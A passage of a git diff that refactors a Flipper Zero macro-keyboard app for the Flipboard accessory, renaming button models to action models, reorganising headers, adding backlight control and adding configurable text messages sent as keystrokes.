-1,7 +1,14 @@ +/** + * @file custom_event.h + * @brief A collection of CustomEventIds. + * @details This file contains the custom event ids for the application. Register for events using: + * view_dispatcher_set_custom_event_callback(flipboard_get_view_dispatcher(app), custom_event_handler); +*/ + #pragma once typedef enum { - CustomEventButtonPress = 0x0000, - CustomEventAppMenuEnter = 0x2001, - CustomEventAppMenuExit = 0x2002, + CustomEventFlipboardButtonPress = 0x0000, // FlipboardButton was pressed. + CustomEventAppMenuEnter = 0x2001, // AppMenu was entered. + CustomEventAppMenuExit = 0x2002, // AppMenu was exited. } CustomEventIds; \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/flipboard.c b/applications/external/flipkeyboard/common/flipboard.c index 92dfaa46a29..a9769a1ad29 100644 --- a/applications/external/flipkeyboard/common/flipboard.c +++ b/applications/external/flipkeyboard/common/flipboard.c @@ -18,7 +18,7 @@ Flipboard* flipboard_alloc( char* app_name, char* primary_item_name, char* about_text, - ButtonModelFields fields, + ActionModelFields fields, bool single_mode_button, bool attach_keyboard, KeystrokeSelectorKey* keys, @@ -38,14 +38,14 @@ Flipboard* flipboard_alloc( view_dispatcher_attach_to_gui(app->view_dispatcher, gui, ViewDispatcherTypeFullscreen); view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - app->button_config = - button_config_alloc(app->model, FlipboardViewConfigureId, keys, shift_keys, rows); + app->action_config = + action_config_alloc(app->model, FlipboardViewConfigureId, keys, shift_keys, rows); - button_config_register_dispatcher(app->button_config, app->view_dispatcher); - button_config_register_variable_item_list(app->button_config, FlipboardViewConfigureSubviewId); - button_config_register_text_input(app->button_config, FlipboardViewConfigureTextInputId); - button_config_register_keystroke_selector( - app->button_config, FlipboardViewConfigureKeystrokeSelectorId); + action_config_register_dispatcher(app->action_config, app->view_dispatcher); + action_config_register_variable_item_list(app->action_config, FlipboardViewConfigureSubviewId); + action_config_register_text_input(app->action_config, FlipboardViewConfigureTextInputId); + action_config_register_keystroke_selector( + app->action_config, FlipboardViewConfigureKeystrokeSelectorId); app->view_primary = get_primary_view(app); @@ -53,8 +53,8 @@ Flipboard* flipboard_alloc( app_menu_add_item( app->app_menu, "Config", - button_config_get_view(app->button_config), - button_config_get_view_id(app->button_config)); + action_config_get_view(app->action_config), + action_config_get_view_id(app->action_config)); app_menu_add_item(app->app_menu, primary_item_name, app->view_primary, FlipboardViewPrimaryId); @@ -77,8 +77,8 @@ void flipboard_free(Flipboard* app) { flipboard_model_free(app->model); view_free(app->view_primary); - if(app->button_config) { - button_config_free(app->button_config); + if(app->action_config) { + action_config_free(app->action_config); } widget_free(app->widget_about); app_menu_free(app->app_menu); @@ -122,9 +122,9 @@ View* flipboard_get_primary_view(Flipboard* app) { * @param view The view to override the config view with. */ void flipboard_override_config_view(Flipboard* app, View* view) { - if(app->button_config) { - button_config_free(app->button_config); - app->button_config = NULL; + if(app->action_config) { + action_config_free(app->action_config); + app->action_config = NULL; } view_dispatcher_remove_view(app->view_dispatcher, FlipboardViewConfigureId); view_dispatcher_add_view(app->view_dispatcher, FlipboardViewConfigureId, view); diff --git a/applications/external/flipkeyboard/common/flipboard.h b/applications/external/flipkeyboard/common/flipboard.h index a305ba2cd2d..88f365ef10a 100644 --- a/applications/external/flipkeyboard/common/flipboard.h +++ b/applications/external/flipkeyboard/common/flipboard.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file flipboard.h * @brief The main Flipboard application. @@ -12,9 +10,12 @@ * If you have custom data, you can use flipboard_model_set_custom_data. */ +#pragma once + #include #include -#include "button_model.h" + +#include "action_model.h" #include "keystroke_selector.h" typedef struct Flipboard Flipboard; @@ -43,7 +44,7 @@ Flipboard* flipboard_alloc( char* app_name, char* primary_item_name, char* about_text, - ButtonModelFields fields, + ActionModelFields fields, bool single_mode_button, bool attach_keyboard, KeystrokeSelectorKey* keys, diff --git a/applications/external/flipkeyboard/common/flipboard_file.c b/applications/external/flipkeyboard/common/flipboard_file.c index d0ffb5bff21..ae5d8cea58b 100644 --- a/applications/external/flipkeyboard/common/flipboard_file.c +++ b/applications/external/flipkeyboard/common/flipboard_file.c @@ -1,23 +1,4 @@ -#include "flipboard_file.h" -#include -#include - -#include "button_model.h" - -#define BUY_MSG "Buy your Flipboard at" -#define FLIPBOARD_URL "https://tindie.com/stores/MakeItHackin" - -#define FLIPBOARD_KEY_NAME_SIZE 25 -#define FLIPBOARD_APPS_DATA_FOLDER EXT_PATH("apps_data") -#define FLIPBOARD_SAVE_FOLDER \ - FLIPBOARD_APPS_DATA_FOLDER "/" \ - "flipboard" -#define FLIPBOARD_SAVE_EXTENSION ".txt" - -#define FLIPBOARD_HEADER "Flipper Flipboard File" -#define FLIPBOARD_VERSION 2 - -#define TAG "FlipboardFile" +#include "flipboard_file_i.h" /** * @brief Check if a directory exists, create it if it doesn't. @@ -45,7 +26,7 @@ static void ensure_save_folder_exists(Storage* storage) { * @param model The flipboard model to save. * @param fields The fields to save. */ -bool flipboard_model_save(FlipboardModel* model, ButtonModelFields fields) { +bool flipboard_model_save(FlipboardModel* model, ActionModelFields fields) { bool success = false; Storage* storage = furi_record_open(RECORD_STORAGE); FuriString* file_path = furi_string_alloc(); @@ -85,8 +66,8 @@ bool flipboard_model_save(FlipboardModel* model, ButtonModelFields fields) { } for(int i = 0; i < 16; i++) { - if(flipboard_model_get_button_model(model, i) != NULL) { - button_model_save(flipboard_model_get_button_model(model, i), format, fields); + if(flipboard_model_get_action_model(model, i) != NULL) { + action_model_save(flipboard_model_get_action_model(model, i), format, fields); } } @@ -118,7 +99,7 @@ bool flipboard_model_load(FlipboardModel* model) { FlipperFormat* format = flipper_format_file_alloc(storage); for(size_t i = 0; i < 16; i++) { - flipboard_model_set_button_model(model, i, NULL); + flipboard_model_set_action_model(model, i, NULL); } do { @@ -144,15 +125,15 @@ bool flipboard_model_load(FlipboardModel* model) { break; } for(size_t i = 0; i < 16; i++) { - flipboard_model_set_button_model(model, i, button_model_alloc_from_ff(i, format)); + flipboard_model_set_action_model(model, i, action_model_alloc_from_ff(i, format)); } success = true; } while(false); for(size_t i = 1; i < 16;) { - if(flipboard_model_get_button_model(model, i) == NULL) { - flipboard_model_set_button_model(model, i, button_model_alloc(i)); + if(flipboard_model_get_action_model(model, i) == NULL) { + flipboard_model_set_action_model(model, i, action_model_alloc(i)); } if(flipboard_model_get_single_button_mode(model)) { diff --git a/applications/external/flipkeyboard/common/flipboard_file.h b/applications/external/flipkeyboard/common/flipboard_file.h index e6839e3365c..1a178fe052d 100644 --- a/applications/external/flipkeyboard/common/flipboard_file.h +++ b/applications/external/flipkeyboard/common/flipboard_file.h @@ -1,19 +1,19 @@ -#pragma once - /** * @file flipboard_file.h * @brief Load and save configuration of the flipboard. */ +#pragma once + +#include "action_model.h" #include "flipboard_model.h" -#include "button_model.h" /** * @brief Save the flipboard model to the settings file. * @param model The flipboard model to save. * @param fields The fields to save. */ -bool flipboard_model_save(FlipboardModel* model, ButtonModelFields fields); +bool flipboard_model_save(FlipboardModel* model, ActionModelFields fields); /** * @brief Load the flipboard model from the settings file. diff --git a/applications/external/flipkeyboard/common/flipboard_file_i.h b/applications/external/flipkeyboard/common/flipboard_file_i.h new file mode 100644 index 00000000000..ce9fef60cdd --- /dev/null +++ b/applications/external/flipkeyboard/common/flipboard_file_i.h @@ -0,0 +1,21 @@ +#pragma once + +#include +#include + +#include "action_model.h" +#include "flipboard_file.h" +#include "../app_config.h" + +#define BUY_MSG "Buy your Flipboard at" +#define FLIPBOARD_URL "https://tindie.com/stores/MakeItHackin" + +#define FLIPBOARD_KEY_NAME_SIZE 25 +#define FLIPBOARD_APPS_DATA_FOLDER EXT_PATH("apps_data") +#define FLIPBOARD_SAVE_FOLDER \ + FLIPBOARD_APPS_DATA_FOLDER "/" \ + "flipboard" +#define FLIPBOARD_SAVE_EXTENSION ".txt" + +#define FLIPBOARD_HEADER "Flipper Flipboard File" +#define FLIPBOARD_VERSION 2 diff --git a/applications/external/flipkeyboard/common/flipboard_i.h b/applications/external/flipkeyboard/common/flipboard_i.h index 7ab5b64a0e1..b2586e14a56 100644 --- a/applications/external/flipkeyboard/common/flipboard_i.h +++ b/applications/external/flipkeyboard/common/flipboard_i.h @@ -2,8 +2,9 @@ #include #include + +#include "action_config.h" #include "app_menu.h" -#include "button_config.h" #include "flipboard.h" #include "flipboard_model.h" #include "keyboard.h" @@ -18,7 +19,7 @@ struct Flipboard { ViewDispatcher* view_dispatcher; AppMenu* app_menu; - ButtonConfig* button_config; + ActionConfig* action_config; View* view_primary; Widget* widget_about; diff --git a/applications/external/flipkeyboard/common/flipboard_model.c b/applications/external/flipkeyboard/common/flipboard_model.c index a2b2edcb8fb..8897afabdde 100644 --- a/applications/external/flipkeyboard/common/flipboard_model.c +++ b/applications/external/flipkeyboard/common/flipboard_model.c @@ -9,22 +9,20 @@ * @return A pointer to a FlipboardModel. */ FlipboardModel* - flipboard_model_alloc(char* app_name, bool single_button_mode, ButtonModelFields fields) { + flipboard_model_alloc(char* app_name, bool single_button_mode, ActionModelFields fields) { FlipboardModel* model = (FlipboardModel*)malloc(sizeof(FlipboardModel)); model->name = app_name; model->resources = resources_alloc(); - model->button_model_fields = fields; + model->action_model_fields = fields; model->single_button_mode = single_button_mode; model->keyboard = flipboard_keyboard_alloc(); model->speaker = speaker_alloc(); model->button_monitor = NULL; model->gui_refresh_timer = NULL; model->leds = flipboard_leds_alloc(model->resources); - model->backlight_always_on = true; + model->backlight = backlight_alloc(); + backlight_on(model->backlight); model->custom_data = NULL; - if(model->backlight_always_on) { - backlight_on(); - } flipboard_model_load(model); @@ -38,7 +36,7 @@ FlipboardModel* * @param model The FlipboardModel to free. */ void flipboard_model_free(FlipboardModel* model) { - flipboard_model_save(model, model->button_model_fields); + flipboard_model_save(model, model->action_model_fields); if(model->resources) { resources_free(model->resources); @@ -48,8 +46,8 @@ void flipboard_model_free(FlipboardModel* model) { speaker_free(model->speaker); } - if(model->backlight_always_on) { - backlight_off(); + if(model->backlight) { + backlight_free(model->backlight); } if(model->button_monitor) { @@ -97,27 +95,27 @@ bool flipboard_model_get_single_button_mode(FlipboardModel* model) { } /** - * @brief flipboard_model_get_button_model_fields gets the fields of the + * @brief flipboard_model_get_action_model_fields gets the fields of the * key settings that apply for this application. * @param model The FlipboardModel. * @return The fields of the key settings that apply for this application. */ -ButtonModelFields flipboard_model_get_button_model_fields(FlipboardModel* model) { - return model->button_model_fields; +ActionModelFields flipboard_model_get_action_model_fields(FlipboardModel* model) { + return model->action_model_fields; } /** - * @brief flipboard_model_get_button_model gets the ButtonModel for a given key. - * @brief flipboard_model_get_button_model gets the ButtonModel for a given key. - * For single button keys, the valid indexes are 0, 1, 3, 7. For multi button keys, the + * @brief flipboard_model_get_action_model gets the ButtonModel for a given key. + * @brief flipboard_model_get_action_model gets the ButtonModel for a given key. + * For single button keys, the valid indexes are 0, 1, 3, 7. For multi-button keys, the * valid indexes are 0-15. This function may return NULL, if there is no setting. * @param model The FlipboardModel. * @param key The key. - * @return The ButtonModel for the key. + * @return The ActionModel for the key. */ -ButtonModel* flipboard_model_get_button_model(FlipboardModel* model, uint8_t key) { +ActionModel* flipboard_model_get_action_model(FlipboardModel* model, uint8_t key) { furi_assert(key < 16); - return model->button_model[key]; + return model->action_model[key]; } /** @@ -237,19 +235,19 @@ void flipboard_model_set_gui_refresh_speed_ms(FlipboardModel* model, uint32_t up } /** - * @brief flipboard_model_set_button_model sets the ButtonModel for a given button. - * @details flipboard_model_set_button_model sets the ButtonModel for a given button. + * @brief flipboard_model_set_action_model sets the ActionModel for a given action. + * @details flipboard_model_set_action_model sets the ActionModel for a given action. * For single buttons, the valid indexes are 0, 1, 3, 7. For multi buttons, the valid indexes - * are 0-15. The ButtonModel is used to configure the button settings. + * are 0-15. The ActionModel is used to configure the action settings. * @param model The FlipboardModel. - * @param index The index of the button. - * @param button_model The ButtonModel for the button. + * @param index The index of the action. + * @param button_model The ActionModel for the action. */ -void flipboard_model_set_button_model( +void flipboard_model_set_action_model( FlipboardModel* model, uint8_t index, - ButtonModel* button_model) { - model->button_model[index] = button_model; + ActionModel* action_model) { + model->action_model[index] = action_model; } /** @@ -278,11 +276,25 @@ void flipboard_model_set_button_monitor( /** * @brief flipboard_model_play_tone plays a tone on the FlipboardModel speaker. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. */ -void flipboard_model_play_tone(FlipboardModel* model, ButtonModel* bm) { +void flipboard_model_play_tone(FlipboardModel* model, ActionModel* action_model) { Speaker* speaker = flipboard_model_get_speaker(model); - speaker_set_frequency(speaker, button_model_get_frequency(bm)); + speaker_set_frequency(speaker, action_model_get_frequency(action_model)); +} + +/** + * @brief flipboard_model_set_backlight sets the backlight. + * @details flipboard_model_set_backlight sets the backlight. + * @param model The FlipboardModel. + * @param light_on If true, the backlight is turned on, otherwise it is turned off. +*/ +void flipboard_model_set_backlight(FlipboardModel* model, bool light_on) { + if(light_on) { + backlight_on(model->backlight); + } else { + backlight_off(model->backlight); + } } /** @@ -290,20 +302,20 @@ void flipboard_model_play_tone(FlipboardModel* model, ButtonModel* bm) { * @details flipboard_model_set_colors sets the colors for the FlipboardModel. * The colors are used to set the color of the LEDs for each button. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. - * @param new_button The button that was pressed. + * @param action_model The ActionModel for the action. + * @param new_key The keys that were pressed. */ -void flipboard_model_set_colors(FlipboardModel* model, ButtonModel* bm, uint8_t new_key) { +void flipboard_model_set_colors(FlipboardModel* model, ActionModel* action_model, uint8_t new_key) { FlipboardLeds* leds = flipboard_model_get_leds(model); - uint32_t color = bm ? button_model_get_color_down(bm) : 0xFFFFFF; - ButtonModel* bm1 = flipboard_model_get_button_model(model, SwitchId1); - ButtonModel* bm2 = flipboard_model_get_button_model(model, SwitchId2); - ButtonModel* bm3 = flipboard_model_get_button_model(model, SwitchId3); - ButtonModel* bm4 = flipboard_model_get_button_model(model, SwitchId4); - uint32_t color1 = bm1 ? button_model_get_color_up(bm1) : 0x000000; - uint32_t color2 = bm2 ? button_model_get_color_up(bm2) : 0x000000; - uint32_t color3 = bm3 ? button_model_get_color_up(bm3) : 0x000000; - uint32_t color4 = bm4 ? button_model_get_color_up(bm4) : 0x000000; + uint32_t color = action_model ? action_model_get_color_down(action_model) : 0xFFFFFF; + ActionModel* am1 = flipboard_model_get_action_model(model, SwitchId1); + ActionModel* am2 = flipboard_model_get_action_model(model, SwitchId2); + ActionModel* am3 = flipboard_model_get_action_model(model, SwitchId3); + ActionModel* am4 = flipboard_model_get_action_model(model, SwitchId4); + uint32_t color1 = am1 ? action_model_get_color_up(am1) : 0x000000; + uint32_t color2 = am2 ? action_model_get_color_up(am2) : 0x000000; + uint32_t color3 = am3 ? action_model_get_color_up(am3) : 0x000000; + uint32_t color4 = am4 ? action_model_get_color_up(am4) : 0x000000; color1 = (new_key & LedId1) ? color : color1; color2 = (new_key & LedId2) ? color : color2; color3 = (new_key & LedId3) ? color : color3; @@ -319,13 +331,15 @@ void flipboard_model_set_colors(FlipboardModel* model, ButtonModel* bm, uint8_t * @brief flipboard_model_send_keystrokes sends keystrokes to the host. * @details flipboard_model_send_keystrokes sends keystrokes to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the button that was pressed. + * @return True if any "messages" (Msg1-Msg4) were also sent. */ -void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm) { - uint8_t keystroke_count = button_model_get_keystrokes_count(bm); +bool flipboard_model_send_keystrokes(FlipboardModel* model, ActionModel* action_model) { + bool sent_messages = false; + uint8_t keystroke_count = action_model_get_keystrokes_count(action_model); uint16_t modifiers = 0; for(int i = 0; i < keystroke_count; i++) { - Keystroke keystroke = button_model_get_keystroke(bm, i); + Keystroke keystroke = action_model_get_keystroke(action_model, i); if(keystroke.button_code == 0 || keystroke.count == 0) { continue; } @@ -337,6 +351,14 @@ void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm) { modifiers = 0; continue; + } else if( + keystroke.button_code >= 0xf1 && + keystroke.button_code <= 0xf4) { // 0xf1 = Message 1 ... 0xf4 = Message 4 + for(int j = 0; j < keystroke.count; j++) { + flipboard_model_send_text(model, action_model, keystroke.button_code - 0xf1); + } + sent_messages = true; + continue; } uint16_t send_modifiers = 0; @@ -372,16 +394,22 @@ void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm) { modifiers = 0; } } + + return sent_messages; } /** * @brief flipboard_model_send_text sends text to the host. * @details flipboard_model_send_text sends text to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. + * @param message_number The message number to send (0-3). */ -void flipboard_model_send_text(FlipboardModel* model, ButtonModel* bm) { - FuriString* message = button_model_get_message(bm); +void flipboard_model_send_text( + FlipboardModel* model, + ActionModel* action_model, + uint8_t message_number) { + FuriString* message = action_model_get_message(action_model, message_number); if(message) { flipboard_keyboard_send_text( flipboard_model_get_keyboard(model), furi_string_get_cstr(message)); diff --git a/applications/external/flipkeyboard/common/flipboard_model.h b/applications/external/flipkeyboard/common/flipboard_model.h index 1c144b6ee4d..d6014ba427b 100644 --- a/applications/external/flipkeyboard/common/flipboard_model.h +++ b/applications/external/flipkeyboard/common/flipboard_model.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file flipboard_model.h * @brief The flipboard model. @@ -8,9 +6,12 @@ * text, playing tones, etc. */ +#pragma once + #include + +#include "action_model.h" #include "button_monitor.h" -#include "button_model.h" #include "resources.h" #include "speaker.h" @@ -28,7 +29,7 @@ typedef struct ButtonModel ButtonModel; * @return A pointer to a FlipboardModel. */ FlipboardModel* - flipboard_model_alloc(char* app_name, bool single_button_mode, ButtonModelFields fields); + flipboard_model_alloc(char* app_name, bool single_button_mode, ActionModelFields fields); /** * @brief flipboard_model_free frees a FlipboardModel. @@ -66,23 +67,23 @@ Resources* flipboard_model_get_resources(FlipboardModel* model); bool flipboard_model_get_single_button_mode(FlipboardModel* model); /** - * @brief flipboard_model_get_button_model_fields gets the fields of the + * @brief flipboard_model_get_action_model_fields gets the fields of the * button settings that apply for this application. * @param model The FlipboardModel. * @return The fields of the button settings that apply for this application. */ -ButtonModelFields flipboard_model_get_button_model_fields(FlipboardModel* model); +ActionModelFields flipboard_model_get_action_model_fields(FlipboardModel* model); /** - * @brief flipboard_model_get_button_model gets the ButtonModel for a given button. - * @brief flipboard_model_get_button_model gets the ButtonModel for a given button. - * For single buttons, the valid indexes are 0, 1, 3, 7. For multi buttons, the valid indexes + * @brief flipboard_model_get_action_model gets the ActionModel for a given action. + * @brief flipboard_model_get_action_model gets the ActionModel for a given action. + * For single buttons, the valid indexes are 0, 1, 3, 7. For multi-buttons, the valid indexes * are 0-15. This function may return NULL, if there is no setting. * @param model The FlipboardModel. * @param button The button. - * @return The ButtonModel for the button. + * @return The ActionModel for the action. */ -ButtonModel* flipboard_model_get_button_model(FlipboardModel* model, uint8_t button); +ActionModel* flipboard_model_get_action_model(FlipboardModel* model, uint8_t button); /** * @brief flipboard_model_get_button_monitor gets the ButtonMonitor for the FlipboardModel. @@ -158,18 +159,18 @@ void flipboard_model_update_gui(FlipboardModel* model); void flipboard_model_set_gui_refresh_speed_ms(FlipboardModel* model, uint32_t update_rate_ms); /** - * @brief flipboard_model_set_button_model sets the ButtonModel for a given button. - * @details flipboard_model_set_button_model sets the ButtonModel for a given button. - * For single buttons, the valid indexes are 0, 1, 3, 7. For multi buttons, the valid indexes - * are 0-15. The ButtonModel is used to configure the button settings. + * @brief flipboard_model_set_action_model sets the ButtonModel for a given action. + * @details flipboard_model_set_action_model sets the ButtonModel for a given action. + * For single buttons, the valid indexes are 0, 1, 3, 7. For multi-buttons, the valid indexes + * are 0-15. The ActionModel is used to configure the action settings. * @param model The FlipboardModel. - * @param index The index of the button. - * @param button_model The ButtonModel for the button. + * @param index The index of the action. + * @param action_model The ActionModel for the action. */ -void flipboard_model_set_button_model( +void flipboard_model_set_action_model( FlipboardModel* model, uint8_t index, - ButtonModel* button_model); + ActionModel* action_model); /** * @brief flipboard_model_set_button_monitor sets the ButtonMonitor for the FlipboardModel. @@ -187,35 +188,51 @@ void flipboard_model_set_button_monitor( /** * @brief flipboard_model_play_tone plays a tone on the FlipboardModel speaker. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. */ -void flipboard_model_play_tone(FlipboardModel* model, ButtonModel* bm); +void flipboard_model_play_tone(FlipboardModel* model, ActionModel* action_model); + +/** + * @brief flipboard_model_set_backlight sets the backlight. + * @details flipboard_model_set_backlight sets the backlight. + * @param model The FlipboardModel. + * @param light_on If true, the backlight is turned on, otherwise it is turned off. +*/ +void flipboard_model_set_backlight(FlipboardModel* model, bool light_on); /** * @brief flipboard_model_set_colors sets the colors for the FlipboardModel. * @details flipboard_model_set_colors sets the colors for the FlipboardModel. * The colors are used to set the color of the LEDs for each button. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. * @param new_button The button that was pressed. */ -void flipboard_model_set_colors(FlipboardModel* model, ButtonModel* bm, uint8_t new_button); +void flipboard_model_set_colors( + FlipboardModel* model, + ActionModel* action_model, + uint8_t new_button); /** * @brief flipboard_model_send_keystrokes sends keystrokes to the host. * @details flipboard_model_send_keystrokes sends keystrokes to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. + * @return True if any "messages" (Msg1-Msg4) were also sent. */ -void flipboard_model_send_keystrokes(FlipboardModel* model, ButtonModel* bm); +bool flipboard_model_send_keystrokes(FlipboardModel* model, ActionModel* action_model); /** * @brief flipboard_model_send_text sends text to the host. * @details flipboard_model_send_text sends text to the host. * @param model The FlipboardModel. - * @param bm The ButtonModel for the button that was pressed. + * @param action_model The ActionModel for the action. + * @param message_number The message number to send (0-3). */ -void flipboard_model_send_text(FlipboardModel* model, ButtonModel* bm); +void flipboard_model_send_text( + FlipboardModel* model, + ActionModel* action_model, + uint8_t message_number); /** * @brief flipboard_model_reduce reduces the button presses to a single button. diff --git a/applications/external/flipkeyboard/common/flipboard_model_i.h b/applications/external/flipkeyboard/common/flipboard_model_i.h index 49caf6581c5..5a6e59c39d9 100644 --- a/applications/external/flipkeyboard/common/flipboard_model_i.h +++ b/applications/external/flipkeyboard/common/flipboard_model_i.h @@ -1,25 +1,25 @@ #pragma once -#include "flipboard_file.h" -#include "flipboard_model.h" +#include + #include "backlight.h" #include "button_monitor.h" +#include "flipboard_file.h" +#include "flipboard_model.h" #include "keyboard.h" #include "leds.h" #include "speaker.h" -#include - /** * @brief The flipboard model struct. * @details This struct contains all the data needed for the flipboard model. */ struct FlipboardModel { - // ButtonModel for each of the button combinations - ButtonModel* button_model[16]; + // ActionModel for each of the button combinations + ActionModel* action_model[16]; - // The fields of the ButtonModel that are currently active - ButtonModelFields button_model_fields; + // The fields of the ActionModel that are currently active + ActionModelFields action_model_fields; // The name of the model (used for saving and loading) char* name; @@ -48,8 +48,8 @@ struct FlipboardModel { // True if the speaker is enabled bool has_speaker; - // True if the backlight is always on - bool backlight_always_on; + // Used to control the backlight. + Backlight* backlight; // Custom data that can be used when extending the application. void* custom_data; diff --git a/applications/external/flipkeyboard/common/flipboard_model_ref.h b/applications/external/flipkeyboard/common/flipboard_model_ref.h index f1f58ecd20b..76f6cacd7c3 100644 --- a/applications/external/flipkeyboard/common/flipboard_model_ref.h +++ b/applications/external/flipkeyboard/common/flipboard_model_ref.h @@ -1,5 +1,3 @@ -#pragma once - /** * @file flipboard_model_ref.h * @brief Reference to a FlipboardModel. @@ -7,6 +5,8 @@ * that cant take a pointer to an existing FlipboardModel. */ +#pragma once + #include "flipboard_model.h" /** diff --git a/applications/external/flipkeyboard/common/infrared_signal.c b/applications/external/flipkeyboard/common/infrared_signal.c index 2d5311e4778..84d94e663f9 100644 --- a/applications/external/flipkeyboard/common/infrared_signal.c +++ b/applications/external/flipkeyboard/common/infrared_signal.c @@ -1,11 +1,4 @@ -#include -#include -#include -#include -#include - -#include "../app_config.h" -#include "infrared_signal.h" +#include "infrared_signal_i.h" struct InfraredSignal { Resources* resources; @@ -21,10 +14,11 @@ struct InfraredSignal { /** * @brief Load an infrared signal (action) from a file. - * @details Load an infrared signal (action) from a file. The first signal is loaded and ready for sending. + * @note The first signal is loaded and ready for sending. * @param file_path The path to the file to load. * @param action The name of the action to load from the file. * @param resources The resources to use for sending the signal. + * @return The loaded signal, or NULL if there was an error. */ InfraredSignal* infrared_signal_load_file(char* file_path, char* action, Resources* resources) { InfraredSignal* signal = (InfraredSignal*)malloc(sizeof(InfraredSignal)); @@ -132,7 +126,7 @@ bool infrared_signal_load_next(InfraredSignal* signal) { break; } - // TODO: How is this supposed to be determined? + // TODO: How is infrared start_from_mark supposed to be determined? signal->start_from_mark = true; } else { FURI_LOG_E(TAG, "Unknown type field: %s", furi_string_get_cstr(temp_str)); @@ -147,6 +141,8 @@ bool infrared_signal_load_next(InfraredSignal* signal) { signal->message.protocol = InfraredProtocolUnknown; } + furi_string_free(temp_str); + return parsed; } diff --git a/applications/external/flipkeyboard/common/infrared_signal.h b/applications/external/flipkeyboard/common/infrared_signal.h index 418f84124b2..0eec6bbb04e 100644 --- a/applications/external/flipkeyboard/common/infrared_signal.h +++ b/applications/external/flipkeyboard/common/infrared_signal.h @@ -1,16 +1,27 @@ +/** + * @file infrared_signal.h + * @brief This file contains the infrared signal module. + * @details This file contains the infrared signal module for sending infrared signals from a file. + * Both raw and parsed signals are supported. The file can be in either format "IR signals file" + * or "IR library file". + * @name There is no 'infrared_signal_alloc' function. Use 'infrared_signal_load_file'. +*/ + #pragma once #include + #include "resources.h" typedef struct InfraredSignal InfraredSignal; /** * @brief Load an infrared signal (action) from a file. - * @details Load an infrared signal (action) from a file. The first signal is loaded and ready for sending. + * @note The first signal is loaded and ready for sending. * @param file_path The path to the file to load. * @param action The name of the action to load from the file. * @param resources The resources to use for sending the signal. + * @return The loaded signal, or NULL if there was an error. */ InfraredSignal* infrared_signal_load_file(char* path, char* action, Resources* resources); diff --git a/applications/external/flipkeyboard/common/infrared_signal_i.h b/applications/external/flipkeyboard/common/infrared_signal_i.h new file mode 100644 index 00000000000..3d1e18d914e --- /dev/null +++ b/applications/external/flipkeyboard/common/infrared_signal_i.h @@ -0,0 +1,10 @@ +#pragma once + +#include +#include +#include +#include +#include + +#include "../app_config.h" +#include "infrared_signal.h" \ No newline at end of file diff --git a/applications/external/flipkeyboard/common/keyboard.c b/applications/external/flipkeyboard/common/keyboard.c index 59b8f34bbc5..68f7ffb6af6 100644 --- a/applications/external/flipkeyboard/common/keyboard.c +++ b/applications/external/flipkeyboard/common/keyboard.c @@ -1,8 +1,5 @@ #include "keyboard_i.h" -#define PRESS_DELAY_MS 20 -#define RELEASE_DELAY_MS 5 - /** * @brief Allocates a new flipboard keyboard. * @details Allocates a new flipboard keyboard. The keyboard is diff --git a/applications/external/flipkeyboard/common/keyboard.h b/applications/external/flipkeyboard/common/keyboard.h index f76348ca606..87aa18bfa72 100644 --- a/applications/external/flipkeyboard/common/keyboard.h +++ b/applications/external/flipkeyboard/common/keyboard.h @@ -1,11 +1,11 @@ -#pragma once - /** * @file keyboard.h * @brief A keyboard that can be used to send key codes to the host using the * USB cable connected to the Flipper Zero. */ +#pragma once + #include #include diff --git a/applications/external/flipkeyboard/common/keyboard_i.h b/applications/external/flipkeyboard/common/keyboard_i.h index f2322695c54..598e3a7b5b8 100644 --- a/applications/external/flipkeyboard/common/keyboard_i.h +++ b/applications/external/flipkeyboard/common/keyboard_i.h @@ -5,6 +5,12 @@ #include "keyboard.h" +// How long to wait after pressing the button before performing next action. +#define PRESS_DELAY_MS 20 + +// How long to wait after releasing the button before performing next action. +#define RELEASE_DELAY_MS 5 + struct FlipboardKeyboard { FuriHalUsbInterface* usb_previous; bool attached; diff --git a/applications/external/flipkeyboard/common/keystroke_selector.c b/applications/external/flipkeyboard/common/keystroke_selector.c index d0ce55de622..c6692d29771 100644 --- a/applications/external/flipkeyboard/common/keystroke_selector.c +++ b/applications/external/flipkeyboard/common/keystroke_selector.c @@ -1,17 +1,53 @@ #include "keystroke_selector_i.h" -#define KEYSTROKE_SELECTOR_DEFAULT_TOP_ROW 2 -#define KEYSTROKE_SELECTOR_DISPLAYED_ROWS 5 -#define KEYSTROKE_SELECTOR_DISPLAYED_WIDTH 10 -#define KEYSTROKE_SELECTOR_DISPLAYED_HEIGHT 13 -#define KEYSTROKE_SELECTOR_GLYPH_HEIGHT_OFFSET 10 -#define KEYSTROKE_SELECTOR_IMAGE_HEIGHT_OFFSET 1 -#define KEYSTROKE_SELECTOR_COLS 12 +struct KeystrokeSelectorModel { + // The total number of rows. + uint8_t rows; -static KeystrokeSelectorKeyResult - keystroke_selector_model_find_key(KeystrokeSelectorModel* model, uint16_t key_code); -static void keystroke_selector_draw_callback(Canvas* canvas, void* context); -static bool keystroke_selector_input_callback(InputEvent* event, void* context); + // The total number of columns. + uint8_t cols; + + // An array of all the keys. + KeystrokeSelectorKey* keys; + + // The current row to show at the top of the view. + uint8_t top_row; + + // The current column where the cursor is. + uint8_t current_col; + + // The current row where the cursor is. + uint8_t current_row; + + // Any modifiers that should be sent with the keystroke (CTRL, SHIFT, etc.) + uint16_t modifiers; + + // The callback to call when a key is selected. + KeystrokeSelectorCallback callback; + + // The context to pass to the callback. + void* callback_context; +}; + +struct KeystrokeSelectorKeyResult { + // The code that should be sent to the host. + uint16_t code; + + // The character that should be displayed on the key. + char ch; + + // The icon that should be displayed on the key (set ch to 0). + const Icon* icon; + + // The 